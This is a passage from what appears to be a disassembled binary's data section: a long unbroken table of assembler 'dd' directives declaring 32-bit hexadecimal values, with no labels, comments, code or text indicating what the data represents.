		dd 0F5FC5888h, 0ED8C5280h, 4B7B794Ah, 251CC228h, 23F6C4C6h
		dd 0E6B1A327h, 5E749668h, 39003A46h, 415B1E11h,	0B30C524h
		dd 2379C88Fh, 0C03E5DD4h, 2F58D812h, 3F223A8h, 0D47B1FEDh
		dd 0B6D026E5h, 44886495h, 0D9029761h, 0F2D6728Ch, 0D8107564h
		dd 2DF486BAh, 4485DA00h, 34BC2160h, 0AACC0090h,	4F9D9358h
		dd 2F12A8C6h, 0F8BC276Bh, 0DD1D600Bh, 0CCF1A889h, 0E0511518h
		dd 4C84B86Eh, 75B1686Dh, 0ECE42C9Dh, 31FE8C89h,	0E211FB00h
		dd 5218CF08h, 381D3295h, 6856F679h, 4BCBD880h, 3EF56B7h
		dd 0DB60112Ah, 29001284h, 0E47C7783h, 0AB4326h,	64FB21DFh
		dd 0DB198F5h, 0F815BE12h, 4BEC1408h, 398AA099h,	0B36903A8h
		dd 0E01F681Bh, 0A17F137h, 829576ACh, 4087E47Ch,	0BE930A4Fh
		dd 0EEF89049h, 88B8949Ah, 0FF654690h, 75E88C4Eh, 20C9D3E8h
		dd 23F02F2Fh, 18F70040h, 0B0816C3Ah, 0ACE87D62h, 58641A27h
		dd 0FEB2202h, 0B9F97A84h, 0EA14C468h, 35DB420h,	0E5DA0078h
		dd 0B9C5C8B6h, 53D4929h, 128C8038h, 0AFF3D044h,	0ED1825E0h
		dd 259060FAh, 902C52F1h, 0F0B0C22Fh, 963C5E1Bh,	2BF4C0F3h
		dd 731892F6h, 7A109F0Fh, 2E3A78DDh, 0A4382D3Fh,	0B117E1Ch
		dd 0C5100A3Fh, 0D26A8420h, 39B8102Fh, 2F9E7382h, 37B33A22h
		dd 7B9C3911h, 79644802h, 90608283h, 0D117990Bh,	9004CFA7h
		dd 500409Bh, 16E9433h, 51B0BB84h, 9D687C29h, 9650FC00h
		dd 0A0E5D8F6h, 8109B4D4h, 568269Ch, 281CC0A1h, 0D88A4CD5h
		dd 781C274h, 204AFC7Ch,	9F6B0860h, 7A282E63h, 50B8ACB0h
		dd 0FFCD2609h, 3B7964D1h, 65095C18h, 48DC80AFh,	79D230h
		dd 0E1F663BAh, 153C07EAh, 0DF471900h, 338451F1h, 5F2E0478h
		dd 0B82FDB9Bh, 4900740Ch, 5CBFE731h, 2D2BA633h,	0C410FDA3h
		dd 2060D3D2h, 78096A12h, 0F24E4B3Eh, 0D8730CFCh, 0EED65039h
		dd 1FF812h, 36818D79h, 22641B5Fh, 7D1D0774h, 0A97FE7EBh
		dd 0F479D459h, 0AD00AE18h, 8A2BD6EBh, 9E1F628Bh, 1D9643FCh
		dd 9E0591B6h, 49FC0CADh, 37D8E081h, 428CF701h, 85033CD4h
		dd 5579C0EBh, 0CF721240h, 0C328A4DCh, 0B9BFF700h, 0D2252ACBh
		dd 8FDD2C24h, 5A29805Ch, 9C7EF31Bh, 8975AC00h, 0FD47CED9h
		dd 92689E76h, 0D3D409ADh, 2814CC21h, 0AB8BD421h, 0F040F65Bh
		dd 7C4E0B56h, 5F1A0066h, 0EF5AB11Fh, 0AD04B5E5h, 45FD9D81h
		dd 0D49555C0h, 87C709A2h
		dd 0B07CD843h, 0EE4F2704h, 211088C2h, 24FE830Dh, 0D0CB2A60h
		dd 79F85901h, 0E81889h,	0AB9535BCh, 5F2BE116h, 5C493124h
		dd 10D1CB18h, 0C2E43EFDh, 0E677EC86h, 99984193h, 558C3Fh
		dd 0EDE84114h, 28CFD952h, 7548357h, 119DDF46h, 0F7B1D0C2h
		dd 5F4C2CA7h, 7BFD1288h, 0D6D4E0D0h, 4FBE0441h,	0EAA7832Bh
		dd 94AF6840h, 438A9D7h,	3C0B1F16h, 7C9CAD2Dh, 0EFF4419Fh
		dd 27AF507h, 77393ECh, 570400F4h, 70A9709Bh, 0FAF823ACh
		dd 77EDA51Dh, 94639B40h, 5747937h, 3EF88778h, 0B860A872h
		dd 3008C3Bh, 828E2ABDh,	0F3155Dh, 0DD4E9E17h, 0E7838D19h
		dd 0B404565Eh, 0D421B2Ah, 848C795h, 3B70200Bh, 5DD7C580h
		dd 550BAC94h, 9017723Ch, 0B6804591h, 84E18220h,	11809494h
		dd 9E7EF9F4h, 0DD630055h, 4DA81D9Bh, 1736808h, 0ED009977h
		dd 272E476Fh, 1EC62602h, 0A90D355h, 4990FFB3h, 0E900C464h
		dd 0A812B117h, 7C9BB46h, 43B71DA6h, 6294117Bh, 0E8DC2CF3h
		dd 46018C35h, 0EBF90D60h, 8BE83114h, 9748BE2Dh,	0F0E40075h
		dd 26CC94E7h, 531D8D09h, 8764712Eh, 0F1F47196h,	0D0ACF319h
		dd 930408FFh, 2F2879ADh, 870DD4D1h, 0A0C0532Fh,	301F1680h
		dd 130B17A3h, 19DC6904h, 5A847BE0h, 10C89043h, 472E7C13h
		dd 0E009430h, 86EE541Fh, 0B54CEE28h, 0B882C4A9h, 9C62F446h
		dd 6A00D050h, 643E0F33h, 9892E026h, 440C5A04h, 9201942Ch
		dd 0EC72E688h, 72F1C600h, 0D327227Dh, 0FE2E0F34h, 4220B5D5h
		dd 0B23D8687h, 80ACE158h, 0F31CD4CDh, 7E2116D6h, 0E078050Eh
		dd 24CCC14h, 80D82784h,	995B9870h, 88D968DCh, 0DCA477FDh
		dd 9EA223Fh, 0A90CB013h, 0E4944580h, 45726040h,	80440965h
		dd 0D498D726h, 1733012h, 0E92A1908h, 8E0F0886h,	8F9D5680h
		dd 99390B8Bh, 8642400h,	60951A7h, 7054536Ch, 613FAFA3h
		dd 0CAE68930h, 242C8856h, 2C0A4656h, 95053C67h,	0CECC8E2h
		dd 0CBC01E16h, 0C089C844h, 0F2F33FB0h, 3E1DA501h, 1F95C04Ch
		dd 0E1024C2Dh, 951DDF1h, 18381C60h, 5278A80h, 0F097B75Bh
		dd 0AEE040F9h, 30A6E262h, 7667E400h, 72481B53h,	1738BCEEh
		dd 0A7E4A4E8h, 0B0AA2201h, 2D944509h, 0F09EB4E8h, 971FCDAh
		dd 913164CDh, 7B41D0DCh, 45003934h, 977395h, 0B8052F5Ch
		dd 90429FB4h, 4011A41Dh, 8C3CBE80h, 0C41A7A30h,	61A12C86h
		dd 298114F1h, 0D180B5FBh, 8080684Fh, 0F0BA9A42h, 1C4A278h
		dd 0D4D3C5BFh, 155F6FCh, 1D9A31E6h, 313244FAh, 0D83E6FAEh
		dd 1300F523h, 90BA30CCh, 88D75B7Bh, 0FB4BE458h,	74524022h
		dd 38467C24h, 53AED101h, 3FE40BCDh, 1385C009h, 55DFE800h
		dd 6AD12651h, 0F0B51368h, 0C5611F34h, 3733120h,	4D70036Bh
		dd 0C7C232EBh, 0EC47A069h, 0B797B78Ch, 0CB393D28h, 0C6475A7h
		dd 19C6720h, 7BDD0C29h,	816E8349h, 98974A9h, 333A9316h
		dd 0E90031F4h, 45759D33h, 2852E14h, 8E37FFE8h, 0F4749488h
		dd 78E48AC4h, 602E0043h, 51CDD11Ch, 623CF9F5h, 0AE0200A6h
		dd 28563820h, 71C0A23Dh, 60D4F3E4h, 1ECA9272h, 149C6FAh
		dd 7793A49Bh, 30C86589h, 81833FD4h, 283E4E0Eh, 0F1001238h
		dd 0BC9CE8CAh, 153A02h,	875E7985h, 0B1F7C363h, 8521E025h
		dd 8402D634h, 56F92B94h, 926E8024h, 189581BFh, 6620A4B8h
		dd 0D31D1D19h, 2D31493Ch, 844044F6h, 92F93282h,	5F8A436Ch
		dd 0F3C810CAh, 799A78C0h, 0F15428B8h, 0E9FF4150h, 0B7291004h
		dd 0EC8112EDh, 7CA8A39Eh, 0AE4CF802h, 82D8456Ah, 3318094h
		dd 77E0DCB1h, 641617F6h, 0B004767Fh, 0D8CE8A05h, 45C03B88h
		dd 4A6948h, 0DDEA769Eh,	792E0F8Ah, 98D82Fh, 5FE490D0h
		dd 96CB2725h, 647340ABh, 28F06C71h, 1E89A99h, 24E48B8Ch
		dd 0E07FCE83h, 9A006682h, 84E61F6Bh, 277BDF8Fh,	0B478D643h
		dd 5A8D3325h, 2DD7F428h, 70E719E1h, 0BE603664h,	0DD00C690h
		dd 274B582Dh, 4E20A49h,	94EA39F1h, 4564ED78h, 2F2BF8h
		dd 0C301F323h, 0C92877F8h, 0A0E62834h, 10CC7928h, 9076084h
		dd 40377391h, 489582C4h, 71105419h, 0D7220917h,	78DCA82Dh
		dd 394674h, 4F760EECh, 91AE4BD6h, 40521170h, 0AC26E0F8h
		dd 30927C06h, 19809821h, 9405CEE0h, 20E0407Ch, 5D00DECDh
		dd 30A59391h, 4883A6E8h, 0DDC564F5h, 0F08CC8A3h, 90A6FF5Bh
		dd 0E3D64E09h, 0EC670032h, 9A608844h, 970BC3DBh, 2FDC441h
		dd 30BB20h, 0CD78837Ah,	0BD24DD09h, 0A0CCF8A3h,	8954CE28h
		dd 4EE84890h, 0A4FD3D3Dh, 26BB7070h, 0C46BAC7Fh, 7B271744h
		dd 1FDCF07Ch, 9602200Fh, 90353328h, 45ACA4A8h, 2AD8018Ch
		dd 28ED72CAh, 0C102E783h, 45DCAF47h, 76385CBDh,	4700F846h
		dd 846D875Dh, 260B4E91h, 219FE801h, 0B8E1FF30h,	0FB069C33h
		dd 410A9533h, 0B0438713h, 0C84A2CFCh, 0BF013C4Ch, 0E4D9C4E7h
		dd 5C18421h, 917C97C6h,	9826810Ah, 0C5D0B2B1h, 808A977Bh
		dd 0DAB0220h, 0F4A0B483h, 475EE013h, 7974A8C0h,	0CBDE84D4h
		dd 0CC90F649h, 3A00C047h, 0BF3FACAFh, 5215182h,	1F731093h
		dd 0FCA8414Bh, 201BDD97h, 0A2414308h, 0DD7442CAh, 1708B40Eh
		dd 0BCE48A13h, 0D8131644h, 769D00AFh, 0EECB2DF2h, 3E42FD01h
		dd 2BBCD470h, 6202FC70h, 828A82Ah, 946DA042h, 0FC5C84EFh
		dd 6CF6F2C0h, 62847B0Eh, 506E9CFh, 11BEB520h, 0CA8A0BFDh
		dd 300728EFh, 0F645181Ch, 62E41Eh, 343FEE4Fh, 8C31624Bh
		dd 702D2091h, 0ADC0A00Ch, 0DC87BD66h, 0BE00C8A8h, 853A78C2h
		dd 62891F0h, 21A97DFDh,	2E30805h, 388EFA37h, 0B1C03F88h
		dd 2CECD45Eh, 4602DA5h,	0AFE65077h, 0A8BDFC20h,	0ADAA0003h
		dd 0F730815Bh, 3DEA4612h, 9C44C300h, 0C5720BD4h, 0C5F17108h
		dd 0C0E69AA1h, 0CD3C4796h, 6CE3BD03h, 80F8A602h, 0BBCAAABh
		dd 0D9ACB4Dh, 483D10A7h, 0BEC62687h, 0CA019A5Ah, 54175AAAh
		dd 40B4B860h, 0D04A6D3Eh, 0EBC838CBh, 7DCFE6C0h, 55F100B4h
		dd 23F374E2h, 0BC9484BDh, 86A4AE80h, 78E72EC3h,	18618232h
		dd 0EC0B6AD9h, 7988797Dh, 0DC18E9h, 84A0FDACh, 930666DFh
		dd 3E2B7317h, 2AE06880h, 0DC7E813Bh, 8D2D24EDh,	928FA03h
		dd 0F4E4B013h, 46765C74h, 0AA2D090Ah, 0C04C05B1h, 941D2891h
		dd 0EDD4476Eh, 0A1AD77B0h, 203E1639h, 3260119Ch, 8D7B8B70h
		dd 2D28C00Dh, 508141E1h, 41CF4524h, 3B721Dh, 7C2018B7h
		dd 4E6EAF2Bh, 1D2081F0h, 19C08074h, 11B38ED5h, 5D6BEB37h
		dd 7002FD64h, 2B8B9B6Bh, 0E05B068h, 830164Bh, 0B211E527h
		dd 2F7B71FCh, 0D406B682h, 0ED1110C7h, 5948F05Ah, 0B30A4413h
		dd 0B52709D4h, 0C58F867h, 0D982B79h, 0A35EAD59h, 44112400h
		dd 5ACE0BDFh, 198F02Ah,	97B8488h, 843810Dh, 76671051h
		dd 220992EEh, 90D82942h, 0D3DC50h, 48AE120Eh, 0FD272458h
		dd 1E6EC702h, 540477DDh, 0C02884C4h, 19E941CFh,	742078EBh
		dd 1F1A4098h, 0FD9BDD19h, 0D807CF30h, 49938F8Eh, 0A8CC6835h
		dd 102086F5h, 8D250919h, 5C52AF9Bh, 0F04D2B10h,	8ED2468Fh
		dd 0C08DC81Ch, 4D0788CBh, 234ED004h, 0CCF8B7E5h, 28133801h
		dd 3890A5FFh, 8C45E890h, 0E2098601h, 0F99932E0h, 0A888D43Ch
		dd 19A4D780h, 0E2935D09h, 4480BFB1h, 0CE02E296h, 208CD45Fh
		dd 0DA950032h, 83C866FFh, 10B06FDDh, 7500138h, 15AE403Eh
		dd 0F36B9201h, 20582838h, 4F74887Ah, 0B8E9362Eh, 0CCCC2B0Ah
		dd 5BBB9D82h, 88560BFFh
		dd 0F1F40969h, 0B7A9D98h, 0E48997BFh, 56453C76h, 91B88CE8h
		dd 0D74A258Ch, 0AEA16C68h, 0F2B34200h, 0E13E9D12h, 0E6510F93h
		dd 806B080Eh, 558CE01h,	0A02E6B07h, 1BB3423h, 1D79A15Dh
		dd 427FE766h, 715AC6E8h, 83096140h, 0D88ADB00h,	0B0823B5Dh
		dd 5CC27205h, 1710F86Dh, 0D8060459h, 5CDEEC68h,	741F23C2h
		dd 78165464h, 38B0ACB8h, 5FFCAC91h, 7A2C221Dh, 5BFB6410h
		dd 0D19830DAh, 33132F65h, 80434C1h, 0DCBC1AC8h,	48C2EECh
		dd 0EFBD4EDEh, 350482F6h, 3E47B0D4h, 8F33CBE7h,	4D59C07Eh
		dd 1B4F202h, 8C159B50h,	30F42317h, 449C10C8h, 0F9298000h
		dd 55820E98h, 6E7FB899h, 5A760174h, 3A4ADFD5h, 0B880830h
		dd 27C54EC6h, 3A556042h, 111097C0h, 0AED5803Bh,	2315C97h
		dd 698875B0h, 0F4729AB9h, 6CD4674Ah, 0E06BBEh, 57252BC2h
		dd 126746A9h, 0A2880F0Bh, 0F1862514h, 3B542C00h, 8108EE82h
		dd 7C611795h, 9A06D2AFh, 0C8FE4890h, 1318492Ah,	490B48Fh
		dd 8F41E650h, 2E39C4Ch,	0B2FBA8D4h, 0CAA077C3h,	832F295Eh
		dd 0A2D84063h, 0CACFE0B8h, 32BC2B60h, 1EC27981h, 612970C1h
		dd 49ECE4B4h, 0D041E75Eh, 1887D34Fh, 3E29B883h,	38A0314Eh
		dd 7F00F64Ch, 0E02C4264h, 98FD142Fh, 30A72058h,	0E5287812h
		dd 0C177E8C0h, 0C8C017B1h, 0C480BD27h, 9129F08h, 1CE4FF80h
		dd 78B19526h, 7F6B9140h, 1458C231h, 94A5E2E0h, 0B020EF0Dh
		dd 402129FFh, 10D0EF13h, 0BC7B2970h, 0B05E3291h, 4355AA68h
		dd 0ACF479B8h, 0C0120399h, 0BFC39C86h, 90648884h, 0DC918896h
		dd 0C88C8B5Bh, 3558C243h, 832F9472h, 0C478675Dh, 13E3608Eh
		dd 273A0BE6h, 0D4D0040Bh, 1C64B14Eh, 0C46AABh, 0FBD1DB15h
		dd 4842CF1h, 95D2719Eh,	0EF00F41Fh, 0BB510560h,	0F6CF259h
		dd 0F0D43E68h, 0E020493Bh, 849D71A8h, 4756F096h, 7491078Eh
		dd 97614E96h, 619D6EF0h, 8CB0C935h, 0FADF4420h,	75276210h
		dd 6E3CED58h, 628164C2h, 135A7878h, 0B954490h, 0D91E81A1h
		dd 0F06B3B07h, 96B6FD02h, 0E8F6E9F8h, 0B2BC2B40h, 540800B3h
		dd 9BAD55E0h, 0A800E314h, 0BFC74A82h, 0E4CF58h,	6AE8E197h
		dd 0C6D7FCE7h, 0B0578C0h, 2C0DC099h, 609877B6h,	0DC434B6Fh
		dd 2E19A500h, 49D53FF2h, 0EC8EED9h, 0C0AF3A82h,	7700E032h
		dd 3C4ED0A6h, 8C88BCCFh, 24238AC0h, 0C09F4EDDh,	74786458h
		dd 0B8C4715Dh, 933D0415h, 0F0D89BF1h, 0BD9F64ACh, 318C8120h
		dd 0C4752DFDh, 896CD79h, 0F13FE140h, 0E7A61876h, 7579D1BCh
		dd 5F839213h, 0B1D89CA0h, 0F2CC00B0h, 0EC32C439h, 86887A00h
		dd 0B6EA3E0Ch, 818201CBh, 58F1461h, 0D4CB2F7Dh,	6BC046C8h
		dd 4F8C0FFh, 0EF73916Ah, 1CB4A437h, 7B181F42h, 0F02C199h
		dd 0A4F2844Ah, 164FD481h, 6ADE8CFh, 0A1D3AC00h,	702C7C9Fh
		dd 2297403h, 0C079F044h, 0FD23020Ch, 3041E613h,	5D990B85h
		dd 0F3009E09h, 6BD432D5h, 59890D57h, 610328ECh,	6E763E7Ah
		dd 602FAEC4h, 0FC01F423h, 0E732ECD5h, 80E08A40h, 50EEB7F5h
		dd 0E927BC00h, 5805C778h, 0D176013Bh, 0AF51BDE1h, 0C4C02B35h
		dd 5CEC2231h, 0CF12D03Fh, 0A8049236h, 0D10B8D8h, 3C4CF77Dh
		dd 9E14884Bh, 0A4DFA824h, 63C10B3Ah, 55A8068Dh,	0A6DD2740h
		dd 4E9884A0h, 6202A8F8h, 0BFE56017h, 22ACDCAEh,	0CD8107A0h
		dd 0B12DCFD4h, 3B11380Bh, 0B4CBF844h, 7FC44513h, 366888E6h
		dd 0ACC44600h, 1F85FE4Ch, 0C0284B0Bh, 181F454h,	414B0C7Eh
		dd 44D6C856h, 692922C0h, 0F55E7494h, 3CF6EB18h,	0BFB86300h
		dd 0BD26E061h, 0D5885F5Bh, 0E36B1784h, 3039B284h, 0A09421AEh
		dd 41269661h, 3970DC7Bh, 7E77000h, 587929B0h, 7F4C029Dh
		dd 2DF588BEh, 2EB39060h, 0FA5031FFh, 0DA348204h, 6B41DD90h
		dd 0F5950872h, 118C23Eh, 0A1853119h, 0AC67941Dh, 9C2D1814h
		dd 5ABD27F9h, 9C88CC3h,	9C958580h, 4430288Ch, 560E29FBh
		dd 0CA5A61A5h, 8C1A83Ah, 0A2E832E2h, 15F5BE4h, 200BCF3Ch
		dd 0DCD22B18h, 0D7D623CBh, 5FAC5DCDh, 56410586h, 0C5F4F07Fh
		dd 0E0816804h, 0CCC2158h, 3C828AB9h, 0D409B577h, 97F161A0h
		dd 3DA60DDh, 9399123Ah,	74ACB592h, 0A7BEBB06h, 4028E048h
		dd 17734811h, 0B4905F82h, 3200E979h, 0D8CD0FCCh, 0EA50BE0Ah
		dd 40D74F6Ah, 0F3C61344h, 12006EB4h, 74E58101h,	4F7D41Fh
		dd 0FCEC2E77h, 0B60E378h, 0F6AC9308h, 0C0976088h, 0CB0722D5h
		dd 0E6D051Fh, 5D24D1F2h, 0C4F32892h, 747FE670h,	0D030F729h
		dd 0A81744D4h, 0B774C2Dh, 0C000D688h, 2C76EB6Bh, 24BFDC98h
		dd 24472D0Ch, 7AE38ECBh, 69484FF0h, 14401400h, 0DC1CA4E8h
		dd 7A01BC40h, 801268B8h, 0E505838Bh, 570443CAh,	0B189BC9Bh
		dd 0D00260FCh, 608861AAh, 2D477534h, 0BC48DC3Eh, 2E28356h
		dd 98256600h, 0ED6C37A8h, 0E0A7009Eh, 59CC1113h, 0AC254928h
		dd 60D0ED71h, 2F939085h, 5518009Dh, 1E8B8CFAh, 309EEF6h
		dd 581CB014h, 8AE6F000h, 19A41EA1h, 174D00D5h, 516A3CBEh
		dd 327EC53h, 3E60D380h,	0F0087DAh, 0C7291230h, 0A72A80A2h
		dd 0E4C555C8h, 0D3939420h, 6AE4F18Ah, 70370C09h, 1C49E7D0h
		dd 0B9FC523Fh, 70CF0154h, 0A98B99A4h, 0FF01F038h, 2B790E19h
		dd 2D5C384Eh, 425892B1h, 632440F8h, 9E38A6A3h, 281482CCh
		dd 29F74148h, 10885E90h, 531805F0h, 14B326B5h, 757C7B28h
		dd 3D220E25h, 0EC133128h, 0F691C9E8h, 0D07A40C4h, 0ACAA26B4h
		dd 90928854h, 0CEF1D405h, 10A3202Ch, 808A857h, 3EFD24D8h
		dd 421B9B16h, 0D9DDB2B8h, 701B8855h, 8B9B3261h,	849C6809h
		dd 0C1283E90h, 376C7924h, 0A7182303h, 0C021FD07h, 48E2EFEDh
		dd 3AD7B0h, 7CB2A3C0h, 5A29A457h, 2A3A257Fh, 33007049h
		dd 35489179h, 92FA4Eh, 0D84FFC4Bh, 5762FED9h, 9D06C5F6h
		dd 0E4B1D7A3h, 3A870021h, 4727CE11h, 4D00D64Eh,	0EC52DE93h
		dd 5B51C092h, 0F1D090D5h, 7E00EE01h, 9D02814Dh,	0E949D6A5h
		dd 0BD36CCh, 6B8E1365h,	628F9274h, 377EF61Ch, 0CE00DF5Fh
		dd 273AD55Ah, 0D9260BECh, 182033E7h, 22A42564h,	0D3F3A07Ch
		dd 4EA9A1D8h, 54AB7601h, 0E36BFD86h, 0D0D8A0C2h, 979532CEh
		dd 8A880820h, 0C07A0A6Bh, 0CD66FAFEh, 0B4101918h, 0F4904010h
		dd 0CA092FBAh, 280781FDh, 56388CF4h, 14649F28h,	0E0281894h
		dd 5A9F44F1h, 24348CC8h, 8E1C467Bh, 0FEC20A6Fh,	0C4830E6Ch
		dd 3B760E78h, 2EAAF056h, 0DD91D040h, 80820E2Eh,	20454D40h
		dd 3FD0179h, 0D6BE0590h, 0EF918C19h, 9E97415Eh,	733CA318h
		dd 50FE1FD1h, 29C132A4h, 331FECB1h, 3429129Dh, 0C00BD179h
		dd 46ED7985h, 20D20725h, 1806F103h, 7D3F4700h, 0AFA880Fh
		dd 27E69368h, 0BC563A48h, 32D8C7C8h, 91AC619Ah,	2A21040Ch
		dd 3A74E487h, 39185B4Fh, 68977EFDh, 0C4865D54h,	44D1E8A9h
		dd 82010292h, 7C0F22ECh, 0DC81854Ch, 9A79B1C0h,	0F1DE0132h
		dd 9E77DC9h, 7091A8A3h,	3237112Eh, 0AC08CF17h, 0BF998147h
		dd 58F027FEh, 0BCA48920h, 81BD731h, 9C244605h, 8808C124h
		dd 0F006D9FCh, 1C9A30D4h, 0A474EF0Bh, 57205E9Fh, 60802142h
		dd 0C4035E94h, 0C18BDC08h, 8CE24384h, 845B910h,	18B462FBh
		dd 930206FDh, 328F083Fh, 24220108h, 18C402D7h, 2348C02h
		dd 0EC0EE729h, 40B048B1h, 0AB6219DAh, 2794210h,	6F03924Ah
		dd 6E0818AFh, 833180Bh,	906208C6h, 84BE2018h, 81EA6F33h
		dd 0BA18319Eh, 1C8C589h
		dd 0C604E540h, 9132080Dh, 23B41B2h, 7103096Eh, 0A7081881h
		dd 334920A1h, 80D3F380h, 18C4BAF5h, 0B063509h, 0C0541097h
		dd 9C6695A0h, 34A90E10h, 0C6083687h, 9D200810h,	0F1E762FCh
		dd 0E1031D9Bh, 932132C9h, 9203F919h, 6A1010C2h,	89A410DEh
		dd 37028E10h, 94E66964h, 0AC0A5418h, 0B7B4A85Ah, 0D199CC3Eh
		dd 1140E808h, 0A439C6E3h, 5154082Dh, 7D404A94h,	489F63FAh
		dd 8198C55h, 22180E06h,	0A0D4A19Fh, 37943F54h, 62ED1040h
		dd 0F67610A9h, 65431E03h, 44929909h, 4CC0184h, 2648A0DBh
		dd 6320D51Ch, 0AABD997Dh, 445E2010h, 3E771310h,	7A18E32Ch
		dd 0A10815ADh, 7967C8FDh, 11E1FD35h, 3E8EFA0h, 613110BFh
		dd 29303104h, 8880C0Dh,	991841CCh, 808F8861h, 0C7814543h
		dd 1B016988h, 1088B015h, 0A72AEF59h, 90FC54C4h,	0EBF8A91Dh
		dd 40EF3024h, 0E154B879h, 30CD86C8h, 0F7F179FEh, 0D8EA0895h
		dd 6903BE19h, 0DF401A7h, 1FEC8903h, 0D5247690h,	534883Ch
		dd 10BBB40Ch, 0CBDB40FAh, 144051C4h, 4C31FC05h,	0AC0817CCh
		dd 0E70CB9C4h, 9331404h, 0AD04A259h, 446705C6h,	0A3CBDD8h
		dd 0D188CCA9h, 0DC8E0C0Ah, 1FF5808h, 0C701E228h, 0B3CF0120h
		dd 71EB4098h, 8C4B054h,	5604C0A5h, 0F3AB06A3h, 7E323230h
		dd 0F8480508h, 0DF80264Eh, 8EA480FEh, 0D4516A81h, 8928A4Ah
		dd 0BE584933h, 88C94C23h, 54C46944h, 2064A84Dh,	0E5482038h
		dd 968028E6h, 8A20CCC1h, 92FD11h, 370CA149h, 8675946h
		dd 0A4C8EFA4h, 927F352Dh, 0C54CC3A8h, 4B3EEAC0h, 456110C0h
		dd 7E1A1898h, 57243AD9h, 80CA2792h, 0CF148770h,	1B2C03Eh
		dd 0A4E5F947h, 5B6079D5h, 2C83E822h, 6BB8DE1Ah,	9503980Fh
		dd 6BC84ECCh, 817AAB9Ah, 0F28FA900h, 296DBA0h, 0A2F014h
		dd 9C51F426h, 2BF7131Ah, 75009B76h, 9D0A05F0h, 0F97CF1Eh
		dd 0A01A92F4h, 0D15A5945h, 0A66EB264h, 0A9009F20h, 1A10295h
		dd 0C046F4F1h, 42239788h, 7F002876h, 0C34D62E4h, 1E79919h
		dd 0F1203A8Dh, 825334D7h, 49EBE3B0h, 0D5074003h, 26BA00D4h
		dd 0D08A7FB6h, 553EF928h, 0F7380099h, 97FF1710h, 0A00A0B92h
		dd 805CD41Ch, 0BB39E785h, 0E6C0981Fh, 41B13780h, 5C83F834h
		dd 0BE6C0C3Eh, 5F401610h, 4317879h, 987C773Fh, 0B449BF8Fh
		dd 1C90557Fh, 0A078FA95h, 0E481142Ah, 9C4CE100h, 0A8462A06h
		dd 3C2606EFh, 20318084h, 0FDDC9700h, 0FF328534h, 0C49828E8h
		dd 0EB7F0308h, 10F11568h, 47BB3391h, 0ED65C1A0h, 0CF6440E2h
		dd 0F025F6E5h, 375C6060h, 0EC1B2847h, 90870710h, 9DA9B49h
		dd 3334A860h, 0B40D47E8h, 8C52795h, 0F07AAEF4h,	0FBE600D7h
		dd 843E97A6h, 0CD7A3451h, 0E0501030h, 10DE0EDh,	0D538CB8Bh
		dd 0F0E91CC7h, 2E0A0C47h, 0A8F69AE7h, 3C01F72Ch, 6A40D722h
		dd 0DB1D388Ah, 45350948h, 9D019CDAh, 0A1512E21h, 0F7C122A3h
		dd 26DD4761h, 527F5420h, 1D3AACE9h, 0C066A0BEh,	400A1881h
		dd 8442550h, 0CB71E706h, 3055A80h, 8997D880h, 0C254000h
		dd 0C1392722h, 2C1DE0ECh, 3DCBED7h, 0D86EE730h,	0DD813805h
		dd 20443E13h, 0FA030F6Ch, 0EAA08A2Bh, 915AE748h, 4382F41Dh
		dd 87A87A21h, 0EC00C2B0h, 0FD6CE1h, 0CF272BBBh,	0B9B796F7h
		dd 61648418h, 0FB8DDC8h, 0E766974Ah, 4F481A8Ch,	747A831Bh
		dd 80799B20h, 5088703Eh, 0CF87E8A7h, 8988460h, 4614324Ah
		dd 84A8DA1Bh, 2B223E4Fh, 49798882h, 0D14A5C40h,	81FFD8C0h
		dd 0C1415AF0h, 0A33CCC50h, 517C87D7h, 0F5C026EBh, 9061C197h
		dd 8C8805ABh, 0C1FEAA2Fh, 82719289h, 0EEE78298h, 0A06056A0h
		dd 917F29C4h, 0BF1424D0h, 78303CC8h, 89D73E80h,	0E0207165h
		dd 0DF171407h, 608D8C3h, 12F0EF10h, 0F9CE98C2h,	0AC20F299h
		dd 801447D7h, 4A1D3151h, 0D60012CBh, 0B39C45FBh, 0FC842D75h
		dd 0C11C6C00h, 0B0B692D7h, 2908803Ah, 13F12DF7h, 9860C009h
		dd 205A2EA2h, 0F07A9F09h, 4C6C70ADh, 0E053B438h, 4C481448h
		dd 38BE607Dh, 0C3363D4Fh, 84C46606h, 1428E8FEh,	8081E0C7h
		dd 0CCF9E70Ah, 1D6309B4h, 3D83081h, 0E1508054h,	47ABBCEBh
		dd 46B30031h, 0FF2BEF43h, 0FF6F09Ah, 0C43660C3h, 0AC01E0DCh
		dd 3D190186h, 68F0F2FAh, 0D4208108h, 766984E2h,	964E7887h
		dd 66A5F0CAh, 7F009B93h, 0B35873BBh, 133A8EDh, 0FD3A632Dh
		dd 2CECE79Dh, 4DC85170h, 0DCFAF09Ch, 987FB0C0h,	3EA63603h
		dd 6218555Eh, 0D5443140h, 9F24D7F8h, 0EA80E09Bh, 6F76680Fh
		dd 0D0D6544Fh, 0DA1C0305h, 6247AAF3h, 33281877h, 0BE20CC8Dh
		dd 0C1270E3Ah, 3EE0A979h, 81F07D77h, 7DF8634Ch,	223084F4h
		dd 0E74A2836h, 8062603Eh, 0B5260E2Ah, 0C0A093FEh, 0F073BFF2h
		dd 0CDB48197h, 62F649B0h, 80E84C14h, 80581430h,	189BAECDh
		dd 84077913h, 2A890FF1h, 910238ACh, 39EFBAEh, 8851EC04h
		dd 978880D7h, 0ED4F817Ah, 0DBB81FAFh, 9EA24983h, 4EAE7823h
		dd 247945C9h, 9980121Ch, 415E00C1h, 867F1A61h, 96092666h
		dd 77E1F15Dh, 0C848540Bh, 0D428A6EEh, 79080856h, 4E5CE357h
		dd 5F8559C1h, 29311027h, 0D9720088h, 227C44ACh,	0E52685FCh
		dd 238F9099h, 9ADA227Dh, 7AC8C0B4h, 1F84A164h, 902B1C30h
		dd 8EB8816Ch, 0E14F7C00h, 25175700h, 3FADB5Ch, 59863A80h
		dd 495ED101h, 20D7E1E7h, 7716AF14h, 305F7BF0h, 1096F20Bh
		dd 432A7Ch, 4F513998h, 0BB617637h, 0C8995D1Eh, 0D53DEF00h
		dd 2A8414CEh, 819C10A8h, 703DE394h, 79E0170Bh, 404FB402h
		dd 0EC746464h, 9A0533Ch, 0A1D2E780h, 22CCD7B8h,	7CF83C20h
		dd 55373086h, 8FA74C18h, 4D503802h, 0A06C0CF1h,	0F0F4D5F0h
		dd 0E40B4931h, 0CFE3D71Dh, 0C70AF8EAh, 190820A8h, 913E7585h
		dd 0F09970BBh, 49B6A130h, 4DDC84E1h, 0FC4D085h,	298848BCh
		dd 0A0EA084Ch, 0B2496CC8h, 0BAC284h, 2264250Ch,	149F5042h
